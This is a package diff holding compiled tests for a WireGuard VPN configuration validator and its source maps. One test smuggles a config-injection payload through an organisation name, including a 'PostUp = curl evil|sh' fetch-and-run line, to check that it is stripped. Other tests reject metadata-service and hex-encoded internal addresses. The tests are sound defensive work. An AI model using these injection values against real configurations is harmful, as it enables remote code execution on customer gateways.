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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"vpn-network.test.d.ts","sourceRoot":"","sources":["../src/vpn-network.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
import { test } from "node:test";
|
|
2
|
+
import assert from "node:assert/strict";
|
|
3
|
+
import { allocateTunnelCidr, cidrsOverlap, formatIpv4, isNonPublicIpv4, isWireguardKey, parseCidr, parseEndpoint, parseIpv4, renderGatewayPeerConfig, tunnelAddresses, validateVpnTunnelConfig, } from "./vpn-network.js";
|
|
4
|
+
// 32 zero bytes, base64 — a syntactically valid WireGuard key.
|
|
5
|
+
const KEY = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
|
|
6
|
+
const valid = (over = {}) => ({
|
|
7
|
+
gatewayEndpoint: "vpn.example.com:51820",
|
|
8
|
+
gatewayPublicKey: KEY,
|
|
9
|
+
lanCidrs: ["10.20.0.0/16"],
|
|
10
|
+
dnsServer: "10.20.0.2",
|
|
11
|
+
allowedDomains: ["corp.example.com"],
|
|
12
|
+
tunnelCidr: "169.254.200.0/30",
|
|
13
|
+
...over,
|
|
14
|
+
});
|
|
15
|
+
test("parseIpv4/formatIpv4 round-trip and reject malformed or ambiguous input", () => {
|
|
16
|
+
assert.equal(formatIpv4(parseIpv4("10.20.30.40")), "10.20.30.40");
|
|
17
|
+
assert.equal(formatIpv4(parseIpv4("255.255.255.255")), "255.255.255.255");
|
|
18
|
+
for (const bad of ["1.2.3", "256.1.1.1", "1.2.3.4.5", "01.2.3.4", "a.b.c.d", "1.2.3.-4", ""]) {
|
|
19
|
+
assert.equal(parseIpv4(bad), null, bad);
|
|
20
|
+
}
|
|
21
|
+
});
|
|
22
|
+
test("parseCidr rejects set host bits, bad prefixes and extra slashes instead of normalizing", () => {
|
|
23
|
+
assert.deepEqual(parseCidr("10.20.0.0/16"), { network: parseIpv4("10.20.0.0"), prefix: 16 });
|
|
24
|
+
for (const bad of ["10.20.0.5/16", "10.0.0.0/33", "10.0.0.0", "10.0.0.0/", "10.0.0.0/16/1", "10.0.0.0/-1", "10.0.0.0/ 8"]) {
|
|
25
|
+
assert.equal(parseCidr(bad), null, bad);
|
|
26
|
+
}
|
|
27
|
+
assert.ok(parseCidr("0.0.0.0/0"));
|
|
28
|
+
});
|
|
29
|
+
test("cidrsOverlap is symmetric and handles containment and adjacency", () => {
|
|
30
|
+
const p = (c) => parseCidr(c);
|
|
31
|
+
assert.equal(cidrsOverlap(p("10.0.0.0/8"), p("10.20.0.0/16")), true);
|
|
32
|
+
assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.0.0.0/8")), true);
|
|
33
|
+
assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.21.0.0/16")), false);
|
|
34
|
+
assert.equal(cidrsOverlap(p("10.20.0.0/24"), p("10.20.0.0/24")), true);
|
|
35
|
+
});
|
|
36
|
+
test("tunnelAddresses: customer gateway is .1, AppForge side is .2, only for a /30", () => {
|
|
37
|
+
assert.deepEqual(tunnelAddresses("169.254.200.4/30"), { gateway: "169.254.200.5", local: "169.254.200.6" });
|
|
38
|
+
assert.equal(tunnelAddresses("169.254.200.0/29"), null);
|
|
39
|
+
assert.equal(tunnelAddresses("nonsense"), null);
|
|
40
|
+
});
|
|
41
|
+
test("isWireguardKey accepts a canonical 32-byte key and rejects wrong length, charset and non-canonical tails", () => {
|
|
42
|
+
assert.equal(isWireguardKey(KEY), true);
|
|
43
|
+
assert.equal(isWireguardKey("AAAA"), false);
|
|
44
|
+
assert.equal(isWireguardKey(KEY.replace("=", "")), false);
|
|
45
|
+
assert.equal(isWireguardKey("A".repeat(42) + "B="), false); // low bits of last char set
|
|
46
|
+
assert.equal(isWireguardKey("!".repeat(43) + "="), false);
|
|
47
|
+
});
|
|
48
|
+
test("parseEndpoint accepts DNS names and public IPv4, rejects internal targets and IPv6 literals", () => {
|
|
49
|
+
assert.deepEqual(parseEndpoint("VPN.Example.com:51820"), { host: "vpn.example.com", port: 51820 });
|
|
50
|
+
assert.deepEqual(parseEndpoint("203.0.113.9:443"), { host: "203.0.113.9", port: 443 });
|
|
51
|
+
for (const bad of [
|
|
52
|
+
"vpn.example.com",
|
|
53
|
+
"vpn.example.com:0",
|
|
54
|
+
"vpn.example.com:70000",
|
|
55
|
+
"vpn.example.com:abc",
|
|
56
|
+
"10.0.0.1:51820",
|
|
57
|
+
"192.168.1.1:51820",
|
|
58
|
+
"172.16.0.1:51820",
|
|
59
|
+
"127.0.0.1:51820",
|
|
60
|
+
"169.254.169.254:51820",
|
|
61
|
+
"100.64.0.1:51820",
|
|
62
|
+
"[2001:db8::1]:51820",
|
|
63
|
+
"localhost:51820",
|
|
64
|
+
"a.localhost:51820",
|
|
65
|
+
"singlelabel:51820",
|
|
66
|
+
"999.1.1.1:51820",
|
|
67
|
+
"0x7f.0.0.1:51820",
|
|
68
|
+
"0xa9.0xfe.0xa9.0xfe:51820",
|
|
69
|
+
"0x0a.1:5",
|
|
70
|
+
"vpn.example.123:51820",
|
|
71
|
+
"0xff.example.com:51820",
|
|
72
|
+
]) {
|
|
73
|
+
assert.ok("error" in parseEndpoint(bad), bad);
|
|
74
|
+
}
|
|
75
|
+
});
|
|
76
|
+
test("validateVpnTunnelConfig accepts a normal config", () => {
|
|
77
|
+
assert.deepEqual(validateVpnTunnelConfig(valid()), []);
|
|
78
|
+
assert.deepEqual(validateVpnTunnelConfig(valid({ dnsServer: null, allowedDomains: [] })), []);
|
|
79
|
+
});
|
|
80
|
+
test("validateVpnTunnelConfig refuses default routes, over-broad, loopback, link-local and multicast LANs", () => {
|
|
81
|
+
for (const lan of ["0.0.0.0/0", "10.0.0.0/7", "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "240.0.0.0/8", "0.0.0.0/8"]) {
|
|
82
|
+
const errors = validateVpnTunnelConfig(valid({ lanCidrs: [lan], dnsServer: null, allowedDomains: [] }));
|
|
83
|
+
assert.ok(errors.length > 0, lan);
|
|
84
|
+
}
|
|
85
|
+
assert.deepEqual(validateVpnTunnelConfig(valid({ lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
|
|
86
|
+
});
|
|
87
|
+
test("validateVpnTunnelConfig refuses empty, duplicate, malformed and too many LAN CIDRs", () => {
|
|
88
|
+
assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: [], dnsServer: null, allowedDomains: [] })).length > 0);
|
|
89
|
+
assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.0/16", "10.1.0.0/16"] })).some((e) => e.includes("more than once")));
|
|
90
|
+
assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.5/16"] })).length > 0);
|
|
91
|
+
const many = Array.from({ length: 17 }, (_, i) => `10.${i}.0.0/16`);
|
|
92
|
+
assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: many, dnsServer: null, allowedDomains: [] })).some((e) => e.includes("at most")));
|
|
93
|
+
});
|
|
94
|
+
test("validateVpnTunnelConfig refuses a tunnel /30 that overlaps a LAN or sits in a reserved range", () => {
|
|
95
|
+
assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "10.20.5.0/30" })).some((e) => e.includes("overlaps")));
|
|
96
|
+
assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.200.0/29" })).length > 0);
|
|
97
|
+
assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.169.252/30" })).length > 0); // cloud metadata
|
|
98
|
+
assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "127.0.0.0/30" })).length > 0);
|
|
99
|
+
// A customer who already uses 169.254.200.x on their LAN can't use it for the LAN (link-local is
|
|
100
|
+
// forbidden there), so the override they'd reach for is a private /30 outside their LAN:
|
|
101
|
+
assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: "172.31.255.0/30" })), []);
|
|
102
|
+
});
|
|
103
|
+
test("validateVpnTunnelConfig requires the DNS server inside a LAN range and domains to have one", () => {
|
|
104
|
+
assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "8.8.8.8" })).some((e) => e.includes("inside one of")));
|
|
105
|
+
assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "not-an-ip" })).length > 0);
|
|
106
|
+
assert.ok(validateVpnTunnelConfig(valid({ dnsServer: null })).some((e) => e.includes("needs a dnsServer")));
|
|
107
|
+
assert.ok(validateVpnTunnelConfig(valid({ allowedDomains: ["not a domain"] })).length > 0);
|
|
108
|
+
assert.deepEqual(validateVpnTunnelConfig(valid({ allowedDomains: ["*.corp.example.com"] })), []);
|
|
109
|
+
});
|
|
110
|
+
test("validateVpnTunnelConfig reports every problem at once", () => {
|
|
111
|
+
const errors = validateVpnTunnelConfig({
|
|
112
|
+
gatewayEndpoint: "10.0.0.1",
|
|
113
|
+
gatewayPublicKey: "short",
|
|
114
|
+
lanCidrs: ["0.0.0.0/0"],
|
|
115
|
+
tunnelCidr: "x",
|
|
116
|
+
});
|
|
117
|
+
assert.ok(errors.length >= 4, errors.join(" | "));
|
|
118
|
+
});
|
|
119
|
+
test("allocateTunnelCidr returns a /30 in the pool, never the metadata slice, and avoids declared LANs", () => {
|
|
120
|
+
for (const r of [0, 0.25, 0.5, 0.999999]) {
|
|
121
|
+
const out = allocateTunnelCidr(["10.0.0.0/8"], () => r);
|
|
122
|
+
assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: out, lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
|
|
123
|
+
assert.ok(out.startsWith("169.254."));
|
|
124
|
+
assert.ok(!out.startsWith("169.254.169."));
|
|
125
|
+
}
|
|
126
|
+
// A random source stuck on the metadata slice still terminates with a valid answer.
|
|
127
|
+
let calls = 0;
|
|
128
|
+
const out = allocateTunnelCidr([], () => (calls++ < 3 ? 0.15 : 0.9));
|
|
129
|
+
assert.ok(!out.startsWith("169.254.169."));
|
|
130
|
+
});
|
|
131
|
+
test("allocateTunnelCidr throws rather than looping forever when nothing is free", () => {
|
|
132
|
+
// A random source that always lands on the same slot, with a LAN covering it.
|
|
133
|
+
assert.throws(() => allocateTunnelCidr(["169.254.192.0/18"], () => 0.5));
|
|
134
|
+
});
|
|
135
|
+
test("renderGatewayPeerConfig gives the customer a Peer block with our key, PSK and a /32 for our side, and no Endpoint", () => {
|
|
136
|
+
const text = renderGatewayPeerConfig({
|
|
137
|
+
orgName: "Acme",
|
|
138
|
+
tunnelCidr: "169.254.200.0/30",
|
|
139
|
+
ourPublicKey: KEY,
|
|
140
|
+
presharedKey: KEY,
|
|
141
|
+
lanCidrs: ["10.20.0.0/16", "10.30.0.0/16"],
|
|
142
|
+
});
|
|
143
|
+
assert.match(text, /\[Peer\]/);
|
|
144
|
+
assert.match(text, new RegExp(`^PublicKey = ${KEY}$`, "m"));
|
|
145
|
+
assert.match(text, new RegExp(`^PresharedKey = ${KEY}$`, "m"));
|
|
146
|
+
assert.match(text, /AllowedIPs = 169\.254\.200\.2\/32/);
|
|
147
|
+
assert.match(text, /address 169\.254\.200\.1\/30/);
|
|
148
|
+
assert.match(text, /10\.20\.0\.0\/16, 10\.30\.0\.0\/16/);
|
|
149
|
+
assert.doesNotMatch(text, /^Endpoint\s*=/m);
|
|
150
|
+
assert.throws(() => renderGatewayPeerConfig({ orgName: "x", tunnelCidr: "10.0.0.0/24", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: [] }));
|
|
151
|
+
});
|
|
152
|
+
test("renderGatewayPeerConfig can't be made to emit extra stanzas through the org name, keys or LANs", () => {
|
|
153
|
+
const base = { tunnelCidr: "169.254.200.0/30", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: ["10.20.0.0/16"] };
|
|
154
|
+
const evil = "Acme\n[Interface]\nPostUp = curl evil|sh\r\n[Peer]\nPublicKey = X\u2028AllowedIPs = 0.0.0.0/0";
|
|
155
|
+
const text = renderGatewayPeerConfig({ ...base, orgName: evil });
|
|
156
|
+
// Exactly the one [Peer] we wrote, no [Interface], and nothing but comments around it.
|
|
157
|
+
assert.equal(text.match(/^\[/gm)?.length, 1);
|
|
158
|
+
assert.doesNotMatch(text, /^\s*(\[Interface\]|PostUp)/m);
|
|
159
|
+
for (const line of text.split("\n"))
|
|
160
|
+
assert.match(line, /^(#|\[Peer\]$|(PublicKey|PresharedKey|AllowedIPs) = [A-Za-z0-9+/=.\/]+$)/);
|
|
161
|
+
assert.ok(!/[\r\u2028\u2029]/.test(text));
|
|
162
|
+
assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", ourPublicKey: `${KEY}\nPostUp = x` }));
|
|
163
|
+
assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", presharedKey: "nope" }));
|
|
164
|
+
assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", lanCidrs: ["10.0.0.0/8\nPostUp = x"] }));
|
|
165
|
+
// A name that is nothing but junk still yields a sensible header.
|
|
166
|
+
assert.match(renderGatewayPeerConfig({ ...base, orgName: "\n\n\t" }), /for your organization/);
|
|
167
|
+
// Ordinary punctuation and non-ASCII letters survive.
|
|
168
|
+
assert.match(renderGatewayPeerConfig({ ...base, orgName: "Müller & Söhne (EE)" }), /for Müller & Söhne \(EE\)/);
|
|
169
|
+
});
|
|
170
|
+
test("isNonPublicIpv4 flags every range a customer gateway can never legitimately be in, and passes public addresses", () => {
|
|
171
|
+
for (const ip of ["0.0.0.1", "10.1.2.3", "100.64.0.1", "100.127.255.255", "127.0.0.1", "169.254.169.254", "172.16.0.1", "172.31.255.255", "192.168.1.1", "224.0.0.1", "239.255.255.255", "240.0.0.1", "255.255.255.255"]) {
|
|
172
|
+
assert.equal(isNonPublicIpv4(parseIpv4(ip)), true, ip);
|
|
173
|
+
}
|
|
174
|
+
for (const ip of ["8.8.8.8", "1.1.1.1", "203.0.113.9", "172.15.255.255", "172.32.0.1", "100.63.255.255", "100.128.0.1", "192.169.0.1"]) {
|
|
175
|
+
assert.equal(isNonPublicIpv4(parseIpv4(ip)), false, ip);
|
|
176
|
+
}
|
|
177
|
+
});
|
|
178
|
+
//# sourceMappingURL=vpn-network.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"vpn-network.test.js","sourceRoot":"","sources":["../src/vpn-network.test.ts"],"names":[],"mappings":"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